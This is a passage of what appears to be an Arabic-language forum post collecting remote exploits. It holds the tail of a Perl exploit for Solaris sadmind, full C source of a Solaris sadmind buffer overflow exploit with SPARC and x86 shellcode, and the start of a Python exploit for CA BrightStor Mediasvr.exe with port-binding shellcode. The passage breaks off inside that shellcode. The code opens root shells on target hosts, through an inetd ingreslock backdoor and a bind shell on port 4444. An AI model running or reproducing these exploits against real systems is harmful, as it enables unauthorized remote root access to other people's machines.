    fds) { $res .= <$s>; }
        return 
    $res;
    }

    sub nonblock {
        
    my ($fd) = @_;
        
    my $flags fcntl($fdF_GETFL,0);
        
    fcntl($fdF_SETFL$flags|O_NONBLOCK);
    }

    sub rpc_getport {
        
    my ($target_host$target_port$prog$vers) = @_;
        
        
    my $s rpc_socket($target_host$target_port);

        
    my $portmap_req =
            
            
    pack("L"rand() * 0xffffffff) . # XID
            
    "\x00\x00\x00\x00".              # Call
            
    "\x00\x00\x00\x02".              # RPC Version
            
    "\x00\x01\x86\xa0".              # Program Number  (PORTMAP)
            
    "\x00\x00\x00\x02".              # Program Version (2)
            
    "\x00\x00\x00\x03".              # Procedure (getport)
            
    ("\x00" x 16).                   # Credentials and Verifier
            
    pack("N"$prog) .
            
    pack("N"$vers).
            
    pack("N"0x11).                 # Protocol: UDP
            
    pack("N"0x00);                 # Port: 0

        
    print $s $portmap_req;

        
    my $r rpc_read($s);
        
    close ($s);
        
        if (
    length($r) == 28
        { 
            
    my $prog_port unpack("N",substr($r244));
            return(
    $prog_port); 
        }
        
        return 
    undef;
    }


    sub rpc_sadmin_exec {

        
    my ($hostname$command) = @_;
        
    my $packed_host $hostname . ("\x00" (59 length($hostname)));
        
        
        
    my $rpc =
            
    pack("L"rand() * 0xffffffff) . # XID
            
    "\x00\x00\x00\x00".              # Call
            
    "\x00\x00\x00\x02".              # RPC Version
            
    "\x00\x01\x87\x88".              # Program Number  (SADMIND)
            
    "\x00\x00\x00\x0a".              # Program Version (10)
            
    "\x00\x00\x00\x01".              # Procedure
            
    "\x00\x00\x00\x01";              # Credentials (UNIX)
                                             # Auth Length is filled in

        # pad it up to multiples of 4
        
    my $rpc_hostname $hostname;
        while (
    length($rpc_hostname) % != 0) { $rpc_hostname .= "\x00" }
        
        
    my $rpc_auth =
            
    # Time Stamp
            
    pack("N"time() + 20001) .

            
    # Machine Name
            
    pack("N"length($hostname)) . $rpc_hostname .

            
    "\x00\x00\x00\x00".              # UID = 0
            
    "\x00\x00\x00\x00".              # GID = 0
            
    "\x00\x00\x00\x00";              # No Extra Groups  


        
    $rpc .= pack("N"length($rpc_auth)) . $rpc_auth . ("\x00" x 8);

        
    my $header =
        
        
    # Another Time Stamp
        
    reverse(pack("L"time() + 20005)) .

        
    "\x00\x07\x45\xdf".
        
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
        
        
    "\x7f\x00\x00\x01".                 # 127.0.0.1
        
    "\x00\x01\x87\x88".                 # SADMIND
        
        
    "\x00\x00\x00\x0a\x00\x00\x00\x04".
        
        
    "\x7f\x00\x00\x01".                 # 127.0.0.1
        
    "\x00\x01\x87\x88".                 # SADMIND

        
    "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00".

        
    "\x00\x00\x00\x3b"$packed_host.

        
    "\x00\x00\x00\x00\x06" "system".
        
        
    "\x00\x00\x00\x00\x00\x15""../../../../../bin/sh""\x00\x00\x00";
        
        
    # Append Body Length ^-- Here

        
    my $body 
        
    "\x00\x00\x00\x0e""ADM_FW_VERSION".
        
    "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
        
    "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x08""ADM_LANG".
        
    "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
        
    "\x00\x01""C" 
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x0d""ADM_REQUESTID".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
        
    "0810:1010101010:1"."\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00".

        
    "\x00\x00\x00\x09""ADM_CLASS".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
        
    "\x00\x00\x00\x06" "system" .
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x0e" "ADM_CLASS_VERS" .
        
    "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
        
    "\x00\x00\x00\x03""2.1".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x0a" "ADM_METHOD" 
        
    "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
        
    "\x00\x00\x00\x15""../../../../../bin/sh" 
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x08""ADM_HOST" .
        
    "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
        
    $packed_host.

        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x0f""ADM_CLIENT_HOST".
        
    "\x00\x00\x00\x00\x09".
        
        
    pack("N"length($hostname) + 1) .
        
    pack("N"length($hostname)) .
        
    $rpc_hostname .
        
    "\x00\x00\x00\x00""\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x11" "ADM_CLIENT_DOMAIN".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x11" "ADM_TIMEOUT_PARMS".
        
    "\x00\x00\x00\x00\x00".
        
    "\x00\x09\x00\x00\x00\x1c".
        
    "\x00\x00\x00\x1b" "TTL=0 PTO=20 PCNT=2 PDLY=30".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x09" "ADM_FENCE" .
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
        
    "\x00\x00\x03\x00\x00\x00\x02" "-c" .
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
        
    "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".

        
    $command . ("\x00" (512 length($command))).

        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
        
    "netmgt_endofargs";

        
    my $res $rpc $header pack("N", (length($body) + length($header)) - 330) . $body;

        return(
    $res);
    }



    #  [2003-09-19] 
    111 Solaris sadmind Remote Buffer Overflow Exploit

    كود PHP:
    /*************************************************************************\
    **                                                                       **
    **    Super Solaris sadmin Exploit by optyx <[email protected]>        **
    **    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
    **                                                                       **
    \*************************************************************************/

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <rpc/rpc.h>

    char shellsparc[] =
      
    "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
      "\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
      "\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
      "\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
      "\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
      "\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
      "\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
      "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
      "\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
      "\x2d\x63\xff"
    ;

    char shellx86[] =
      
    "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
      "\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
      "\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
      "\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
      "\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
      "\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
      "\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
      "\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
      "\x2f\x73\x68\xff\x2d\x63\xff"
    ;
               

    int buflen[]      = { 10761056 };
    int addrlen[]     = { 560};
    int lens[]        = { 8476 };
    int offset[]      = { 688572 };
    int alignment[]   = { 4};
    long int nops[]   = { 0x801bc00f0x90 };
    int junks[]       = { 512536 };
    char command[]    = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
                       "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;"
    ;

    unsigned long int sp[]  = { 0xefff95800xefff94180x080418ec0x08041798 };
     
    #define FRAMELEN1 608
    #define FRAMELEN2 4200

    #define NETMGT_PROG 100232
    #define NETMGT_VERS 10
    #define NETMGT_PROC_PING 0
    #define NETMGT_PROC_SERVICE 1

    #define NETMGT_UDP_PING_TIMEOUT 30
    #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
    #define NETMGT_UDP_SERVICE_TIMEOUT 1
    #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2

    #define NETMGT_HEADER_TYPE 6
    #define NETMGT_ARG_INT 3
    #define NETMGT_ARG_STRING 9
    #define NETMGT_ENDOFARGS "netmgt_endofargs"

    #define FW_VERSION "VERSION"
    #define CLIENT_DOMAIN "CLIENT_DOMAIN"
    #define FENCE "FENCE"

    struct nm_send_header {
      
    struct timeval timeval1;
      
    struct timeval timeval2;
      
    struct timeval timeval3;
      
    unsigned int uint1;
      
    unsigned int uint2;
      
    unsigned int uint3;
      
    unsigned int uint4;
      
    unsigned int uint5;
      
    struct in_addr inaddr1;
      
    struct in_addr inaddr2;
      
    unsigned long ulong1;
      
    unsigned long ulong2;
      
    struct in_addr inaddr3;
      
    unsigned long ulong3;
      
    unsigned long ulong4;
      
    unsigned long ulong5;
      
    struct timeval timeval4;
      
    unsigned int uint6;
      
    struct timeval timeval5;
      
    char *string1;
      
    char *string2;
      
    char *string3;
      
    unsigned int uint7;
    };

    struct nm_send_arg_int {
      
    char *string1;
      
    unsigned int uint1;
      
    unsigned int uint2;
      
    int int1;
      
    unsigned int uint3;
      
    unsigned int uint4;
    };

    struct nm_send_arg_string {
      
    char *string1;
      
    unsigned int uint1;
      
    unsigned int uint2;
      
    char *string2;
      
    unsigned int uint3;
      
    unsigned int uint4;
    };

    struct nm_send_footer {
      
    char *string1;
    };

    struct nm_send {
      
    struct nm_send_header header;
      
    struct nm_send_arg_int version;
      
    struct nm_send_arg_string string;
      
    struct nm_send_arg_int fence;
      
    struct nm_send_footer footer;
    };

    struct nm_reply {
      
    unsigned int uint1;
      
    unsigned int uint2;
      
    char *string1;
    };

    bool_t xdr_nm_send_header(XDR *xdrsstruct nm_send_header *objp)
    {
      
    char *addr;
      
    size_t size sizeof(struct in_addr);

      if(!
    xdr_long(xdrs, &objp->timeval1.tv_sec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval1.tv_usec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval2.tv_sec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval2.tv_usec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval3.tv_sec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval3.tv_usec))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint2))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint3))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint4))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint5))
        return (
    FALSE);
      
    addr = (char *) &objp->inaddr1.s_addr;
      if(!
    xdr_bytes(xdrs, &addr, &sizesize))
        return (
    FALSE);
      if(!
    xdr_u_long(xdrs, &objp->ulong1))
        return (
    FALSE);
      if(!
    xdr_u_long(xdrs, &objp->ulong2))
        return (
    FALSE);
      if(!
    xdr_u_long(xdrs, &objp->ulong3))
        return (
    FALSE);
      if(!
    xdr_u_long(xdrs, &objp->ulong4))
        return (
    FALSE);
      if(!
    xdr_u_long(xdrs, &objp->ulong5))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval4.tv_sec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval4.tv_usec))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint6))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval5.tv_sec))
        return (
    FALSE);
      if(!
    xdr_long(xdrs, &objp->timeval5.tv_usec))
        return (
    FALSE);
      if(!
    xdr_wrapstring(xdrs, &objp->string1))
        return (
    FALSE);
      if(!
    xdr_wrapstring(xdrs, &objp->string2))
        return (
    FALSE);
      if(!
    xdr_wrapstring(xdrs, &objp->string3))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint7))
        return (
    FALSE);
      return (
    TRUE);
    }

    bool_t xdr_nm_send_arg_int(XDR *xdrsstruct nm_send_arg_int *objp)
    {
      if(!
    xdr_wrapstring(xdrs, &objp->string1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint2))
        return (
    FALSE);
      if(!
    xdr_int(xdrs, &objp->int1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint3))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint4))
        return (
    FALSE);
      return (
    TRUE);
    }

    bool_t xdr_nm_send_arg_string(XDR *xdrsstruct nm_send_arg_string *objp)
    {
      if(!
    xdr_wrapstring(xdrs, &objp->string1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint2))
        return (
    FALSE);
      if(!
    xdr_wrapstring(xdrs, &objp->string2))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint3))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint4))
        return (
    FALSE);
      return (
    TRUE);
    }

    bool_t xdr_nm_send_footer(XDR *xdrsstruct nm_send_footer *objp)
    {
      if(!
    xdr_wrapstring(xdrs, &objp->string1))
        return (
    FALSE);
      return (
    TRUE);
    }

    bool_t xdr_nm_send(XDR *xdrsstruct nm_send *objp)
    {
      if(!
    xdr_nm_send_header(xdrs, &objp->header))
        return (
    FALSE);
      if(!
    xdr_nm_send_arg_int(xdrs, &objp->version))
        return (
    FALSE);
      if(!
    xdr_nm_send_arg_string(xdrs, &objp->string))
        return (
    FALSE);
      if(!
    xdr_nm_send_arg_int(xdrs, &objp->fence))
        return (
    FALSE);
      if(!
    xdr_nm_send_footer(xdrs, &objp->footer))
        return (
    FALSE);
      return (
    TRUE);
    }

    bool_t xdr_nm_reply(XDR *xdrsstruct nm_reply *objp)
    {
      if(!
    xdr_u_int(xdrs, &objp->uint1))
        return (
    FALSE);
      if(!
    xdr_u_int(xdrs, &objp->uint2))
        return (
    FALSE);
      if(!
    xdr_wrapstring(xdrs, &objp->string1))
        return (
    FALSE);
      return (
    TRUE);
    }

    void usage(char *prog)
    {
      
    fprintf(stderr"usage: %s -t target -a arch [-s size]"prog);
      
    fprintf(stderr" [-i increment] [-p]\n");
      
    fprintf(stderr"\tarchitectures:\n");
      
    fprintf(stderr"\t0 - Solaris SPARC 2.6\n");
      
    fprintf(stderr"\t1 - Solaris SPARC 2.7 (7.0)\n");
      
    fprintf(stderr"\t2 - Solaris x86   2.6\n");
      
    fprintf(stderr"\t3 - Solaris x86   2.7 (7.0)\n\n");

      exit(-
    1);  
    }

    int exp(char *hostint archunsigned long int spint pinging)
    {
      
    CLIENT *cl;
      
    struct nm_send send;
      
    struct nm_reply reply;
      
    struct timeval tm;
      
    enum clnt_stat stat;
      
    int cilenslenclenjunka;
      
    char *cp, *buf;
      
    unsigned long int addrfp;
      
      
    = (int) arch 2;  
      
    buf = (char *) malloc(buflen[a] + 1);

      if(
    a)
      {
        
    /* Solaris x86 */
        
    memset(bufnops[a], buflen[a]);
        
    junk junks[arch 2];
        
    junk &= 0xfffffffc;

        for (
    0cp buf alignment[a]; junk 4i++) 
        {
          *
    cp++ = (sp >>  0) & 0xff;
          *
    cp++ = (sp >>  8) & 0xff;
          *
    cp++ = (sp >> 16) & 0xff;
          *
    cp++ = (sp >> 24) & 0xff;
        }

        
    addr sp offset[a];

        for (
    0addrlen[a] / 4i++) 
        {
          *
    cp++ = (addr >>  0) & 0xff;
          *
    cp++ = (addr >>  8) & 0xff;
          *
    cp++ = (addr >> 16) & 0xff;
          *
    cp++ = (addr >> 24) & 0xff;
        }

        
    slen strlen(shellx86); 
        
    clen strlen(command);
        
    len clen
        
    len++; 
        
    len = -len;
        
    shellx86[lens[a]+0] = (len >>  0) & 0xff;
        
    shellx86[lens[a]+1] = (len >>  8) & 0xff;
        
    shellx86[lens[a]+2] = (len >> 16) & 0xff;
        
    shellx86[lens[a]+3] = (len >> 24) & 0xff;
        
    cp buf buflen[a] - clen slen;
        
    memcpy(cpshellx86slen); 
        
    cp += slen;
        
    memcpy(cpcommandclen); 
        
    cp += clen;
        *
    cp '\xff';
      }
      else
      {
        
    /* Solaris SPARC */
        
    memset(buf'\xff'buflen[a]);
        
    fp sp FRAMELEN1 FRAMELEN2;
        
    fp &= 0xfffffff8;
        
    addr sp offset[a];
        
    addr &= 0xfffffffc;

        for(
    0cp buf alignment[a]; addrlen[a] / 8i++)
        {
          *
    cp++ = (fp >> 24) & 0xff;
          *
    cp++ = (fp >> 16) & 0xff;
          *
    cp++ = (fp >>  8) & 0xff;
          *
    cp++ = (fp >>  0) & 0xff;
          *
    cp++ = (addr >> 24) & 0xff;
          *
    cp++ = (addr >> 16) & 0xff;
          *
    cp++ = (addr >>  8) & 0xff;
          *
    cp++ = (addr >>  0) & 0xff;
        }
        
        
    slen strlen(shellsparc);
        
    clen strlen(command);
        
    len buflen[a] - clen slen addrlen[a] - alignment[a];
        
    len &= 0xfffffffc;
        for(
    0lens[a] / 4i++)
        {
          *
    cp++ = (nops[a] >> 24) & 0xff;
          *
    cp++ = (nops[a] >> 16) & 0xff;
          *
    cp++ = (nops[a] >>  8) & 0xff;
          *
    cp++ = (nops[a] >>  0) & 0xff;
        }
        
    len clen;
        
    len++;
        
    len = -len;
        
    shellsparc[lens[a]+0] = (len >> 24) & 0xff;
        
    shellsparc[lens[a]+1] = (len >> 16) & 0xff;
        
    shellsparc[lens[a]+2] = (len >>  8) & 0xff;
        
    shellsparc[lens[a]+3] = (len >>  0) & 0xff;
        
    memcpy(cpshellsparcslen);
        
    cp += slen;
        
    memcpy(cpcommandclen);
      }

      
    buf[buflen[a]] = '\0';
      
    memset(&send0sizeof(struct nm_send));
      
    send.header.uint2 NETMGT_HEADER_TYPE;
      
    send.header.string1 "";
      
    send.header.string2 "";
      
    send.header.string3 "";
      
    send.header.uint7 =
        
    strlen(FW_VERSION) + +
        (
    sizeof(unsigned int)) + sizeof(int) +
        
    strlen(CLIENT_DOMAIN) + +
        (
    sizeof(unsigned int)) + strlen(buf) + +
        
    strlen(FENCE) + +
        (
    sizeof(unsigned int)) + sizeof(int) +
        
    strlen(NETMGT_ENDOFARGS) + 1;
      
    send.version.string1 FW_VERSION;
      
    send.version.uint1 NETMGT_ARG_INT;
      
    send.version.uint2 sizeof(int);
      
    send.version.int1 1;
      
    send.string.string1 CLIENT_DOMAIN;
      
    send.string.uint1 NETMGT_ARG_STRING;
      
    send.string.uint2 strlen(buf);
      
    send.string.string2 buf;
      
    send.fence.string1 FENCE;
      
    send.fence.uint1 NETMGT_ARG_INT;
      
    send.fence.uint2 sizeof(int);
      
    send.fence.int1 666;
      
    send.footer.string1 NETMGT_ENDOFARGS;
      
    cl clnt_create(hostNETMGT_PROGNETMGT_VERS"udp");

      if (
    cl == NULL
      {
        
    clnt_pcreateerror("clnt_create");
        return 
    0;
      }

      
    cl->cl_auth authunix_create("localhost"000NULL);

      if (!
    pinging
      {
        
    tm.tv_sec NETMGT_UDP_SERVICE_TIMEOUT
        
    tm.tv_usec 0;

        if (!
    clnt_control(clCLSET_TIMEOUT, (char *) &tm)) 
        {
          
    fprintf(stderr"unable to set timeout\n");
          exit(
    1);
        }

        
    tm.tv_sec NETMGT_UDP_SERVICE_RETRY_TIMEOUT
        
    tm.tv_usec 0;

        if (!
    clnt_control(clCLSET_RETRY_TIMEOUT, (char *) &tm)) 
        {
          
    fprintf(stderr"unable to set timeout\n");
          exit(
    1);
        }

        
    stat clnt_call(clNETMGT_PROC_SERVICE,
          
    xdr_nm_send, (caddr_t) &send,
          
    xdr_nm_reply, (caddr_t) &replytm);

        if (
    stat != RPC_SUCCESS
        {
          
    clnt_perror(cl"clnt_call");
          
    fprintf(stdout"now check if exploit worked;\n");
          return 
    0;
        }

        
    fprintf(stderr"exploit failed; "
          "RPC succeeded and returned { %u, %u, \"%s\" }\n"
    ,
          
    reply.uint1reply.uint2reply.string1);
        
    clnt_destroy(cl);
        exit(
    1);
      } 
      else 
      {

        
    tm.tv_sec NETMGT_UDP_PING_TIMEOUT
        
    tm.tv_usec 0;

        if (!
    clnt_control(clCLSET_TIMEOUT, (char *) &tm)) 
        {
          
    fprintf(stderr"unable to set timeout\n");
          exit(
    1);
        }

        
    tm.tv_sec NETMGT_UDP_PING_RETRY_TIMEOUT
        
    tm.tv_usec 0;

        if (!
    clnt_control(clCLSET_RETRY_TIMEOUT, (char *) &tm)) 
        {
          
    fprintf(stderr"unable to set timeout\n");
          exit(
    1);
        }

        
    stat clnt_call(clNETMGT_PROC_PING,
          
    xdr_voidNULL,
          
    xdr_voidNULLtm);

        if (
    stat != RPC_SUCCESS
        {
          
    clnt_perror(cl"clnt_call");
          exit(
    1);
        }

        
    clnt_destroy(cl);
        return 
    0;
      }
    }

    int main(int argcchar *argv[])
    {
      
    int iarch;
      
    char *host "";
      
    int pinging 0inc 4size 2048;
      
    unsigned long int addr;

      for(
    i=0;i<argc;i++)
      {
        if(!
    strcmp(argv[i], "-t"))
          
    host argv[i+1];  
        if(!
    strcmp(argv[i], "-a"))
          
    arch atoi(argv[i+1]);
        if(!
    strcmp(argv[i], "-i"))
          
    inc atoi(argv[i+1]);
        if(!
    strcmp(argv[i], "-s"))
          
    size atoi(argv[i+1]);  
        if(!
    strcmp(argv[i], "-p"))
          
    pinging 1;
      }

      if(
    arch || arch 0)
        
    usage(argv[0]);
      if(
    size 0)
        
    usage(argv[0]);
      if(
    inc 0)
        
    usage(argv[0]);

      for(
    0sizei+=inc)
      {
        
    addr sp[arch] + i;
        
    exp(hostarchaddrpinging); 
        
    addr sp[arch] - i;
        
    exp(hostarchaddrpinging);
      }

      
    execl("telnet"host"ingreslock");
      return 
    0;
    }


    //  [2000-12-01] 
    111 CA BrightStor Backup 11.5.2.0 (Mediasvr.exe) Remote Code Exploit

    كود PHP:
    #!/usr/bin/python
    #
    # Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Code Exploit
    # (Previously Unknown)
    #
    # There seems to be an design error in the handling of RPC data with xdr procedures
    # across several .dll's imported by Mediasvr.exe. Four bytes from an RPC packet are
    # processed as a particular address (xdr_handle_t data which is run through multiple bit
    # shifts, and reversing of bytes), and eventually loaded into ECX.
    #
    # The 191 (0xbf) procedure, followed by nulls (at least 8 bytes of nulls, which may
    # be Null Credentials and Auth?) leads to an exploitable condition.
    #
    # .text:0040AACD 008                 mov     ecx, [esp+8]
    # .text:0040AAD1 008                 mov     dword_418820, esi
    # .text:0040AAD7 008                 push    offset dword_418820
    # .text:0040AADC 00C                 mov     eax, [ecx]
    # .text:0040AADE 00C                 call    dword ptr [eax+2Ch]
    #
    # At this point, you have control of ECX (esp+8 is your address data). The data from the packet
    # is stored in memory and is relatively static (see NOTE).
    #
    # The address is then loaded into EAX, and then called as EAX+2Ch, which is
    # controllable data from the packet. In this code, I just jump ahead to
    # the portbinding shellcode.
    #
    # NOTE: The only issue I have found is when the system is rebooted, the packet data
    # appears at a higher memory location when Mediasvr.exe crashes
    # and is restarted. I have accounted for this in the code, when the port that
    # Mediasvr.exe is listening on is below TCP port 1100, which is usually only after
    # a reboot
    #
    # This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest
    # CA patches on Windows XP SP2 (I believe there is some issue with SP1, which
    # is more then likely the memory locations)
    #
    # The patches include the following updates to Mediasvr.exe
    # http://supportconnectw.ca.com/public/storage/infodocs/babimpsec-notice.asp
    #
    # CA has been notified
    #
    # Author: M. Shirk
    # Tester: Tebodell
    #
    # (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com
    #
    # Use at your own Risk: You have been warned
    #------------------------------------------------------------------------

    import os
    import sys
    import time
    import socket
    import struct

    #------------------------------------------------------------------------

    #Portbind shellcode; Binds shell on TCP port 4444
    shellcode  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
    shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
    shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"
    shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"
    shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"
    shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
    shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
    shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"
    shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"
    shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
    shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"
    shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"
    shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"
    shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
    shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"
    shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
    shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
    shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"
    shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"
    shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"
    shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"
    shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
    shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
    shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
    shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
    shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
    shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
    shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"
